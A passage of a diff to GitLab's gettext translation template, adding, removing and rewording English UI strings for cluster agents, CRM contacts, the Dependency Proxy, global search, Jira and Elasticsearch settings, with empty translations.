+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
